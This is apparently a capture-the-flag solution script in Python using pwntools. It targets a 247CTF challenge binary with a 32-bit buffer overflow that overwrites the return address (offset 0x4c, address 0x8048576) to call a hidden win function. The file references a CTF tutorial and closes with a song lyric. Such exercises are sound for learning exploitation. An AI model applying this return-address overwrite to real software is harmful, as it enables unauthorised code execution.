# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_247ctf-hidden-flag-function")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x4c)
bof_payload.set_ret(0x8048576)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: The Nature of the Beast                  |
# +------------------------------------------------+
# | So come one,                                   |
# | come all,                                      |
# | to our crumbling walls                         |
# +------------------------------------------------+

